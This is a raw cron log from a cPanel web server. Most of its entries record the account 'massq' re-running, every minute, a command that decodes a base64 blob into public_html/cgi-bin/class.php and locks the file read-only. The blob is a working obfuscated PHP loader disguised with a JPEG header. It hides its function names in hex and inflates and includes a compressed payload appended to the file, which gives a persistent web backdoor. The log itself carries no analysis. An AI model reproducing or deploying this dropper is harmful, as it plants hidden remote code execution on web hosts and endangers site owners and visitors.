Nov 15 19:22:01 server CROND[18007]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:23:01 server CROND[18263]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:24:01 server CROND[18518]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:25:01 server CROND[18845]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:25:01 server CROND[18846]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 19:25:01 server CROND[18847]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 19:26:01 server CROND[19163]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:27:01 server CROND[19414]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:27:01 server CROND[19415]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 19:28:01 server CROND[19768]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:29:01 server CROND[20020]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:30:01 server CROND[20279]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:30:01 server CROND[20280]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 19:30:01 server CROND[20281]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 19:30:01 server CROND[20282]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 19:31:01 server CROND[20604]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:32:01 server CROND[20892]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:33:01 server CROND[21252]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:34:01 server CROND[21506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:35:01 server CROND[21773]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 19:35:01 server CROND[21774]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 19:35:01 server CROND[21776]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 19:35:01 server CROND[21775]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
